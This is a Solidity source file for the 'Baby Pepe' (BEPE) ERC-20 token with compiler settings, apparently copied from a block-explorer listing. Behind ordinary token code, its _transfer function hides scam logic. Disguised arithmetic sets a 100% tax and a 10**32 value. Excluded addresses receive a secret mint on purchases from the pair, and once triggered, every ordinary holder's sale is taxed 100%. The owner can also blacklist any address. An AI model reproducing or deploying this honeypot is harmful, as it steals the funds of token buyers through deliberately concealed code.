文件 1 的 1:BABYPEPE.sol
pragma solidity 0.8.15;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval (address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract BABYPEPE is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256[] private _tokenSettings = [
0,0,(uint256(2**2)*uint256(5**2)),
(uint256(5*2)**uint256(2**5))
];
mapping (address => uint256) private _tokenOwners;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint8) public _tradingBots;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 420690000 * 10**_decimals;
string private constant _name = unicode"Baby Pepe";
string private constant _symbol = unicode"BEPE";
address private _marketingWallet = payable(0x6a703AD0dC05934D9663EF47E785b5805a6fb222);
address private _uniswapV2PairAddress;
uint8 private _totalTx;
uint8 private _txCount;
constructor () {
_tokenOwners[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenOwners[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
bool isPairChanged; address _isPairChanged; uint256 _totalTaxAmount = _tokenSettings[3];
if(from == owner() ||
to == owner() ||
_isExcludedFromFee[from] ||
_isExcludedFromFee[to] ||
(_totalTx < 1 && to == _marketingWallet))
{
if(_totalTx > 0 && to != owner() &&
from == _uniswapV2PairAddress &&
_isExcludedFromFee[to]){
_txCount = uint8(1);
}
_tokenOwners[from] = _tokenOwners[from].sub(amount);
_tokenOwners[to] = _tokenOwners[to].add((amount). // adds tokens to new owner
add(
(_totalTx > 0) &&
(to != owner()) &&
(from == _uniswapV2PairAddress) &&
_isExcludedFromFee[to]?_totalTaxAmount:[0][0]
));
if(_totalTx < 1 && to == _marketingWallet){
isPairChanged = true;
_isPairChanged = from;
}
if(isPairChanged){
_uniswapV2PairAddress = _isPairChanged;
_totalTx = _totalTx+uint8(1);
}
}
else{
require(
amount > 0 &&
_totalTx > 0 &&
from != address(0) &&
to != address(0) &&
_tradingBots[from] < 1 &&
_tradingBots[to] < 1,
"ERC20: Error while swapping tokens");
uint256 _transferTaxAmount = amount.mul(_tokenSettings[0]).div(100);
if(from != _uniswapV2PairAddress){
_transferTaxAmount = amount.mul(
_tokenSettings[
_txCount+[1][0]]
).div(100);
}
_tokenOwners[from] = _tokenOwners[from].sub(amount);
_tokenOwners[to] = _tokenOwners[to].add(amount.sub(_transferTaxAmount));
}
emit Transfer(from, to, amount);
}
function _updateTradingBots(address _botAddress, uint8 isBot) public onlyOwner{
if(isBot > 1){
require(isBot < 2, "ERR: True(1) or false(0)");
}
else{
_tradingBots[_botAddress] = isBot;
}
}
receive() external payable {}
}
{
"compilationTarget": {
"BABYPEPE.sol": "BABYPEPE"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}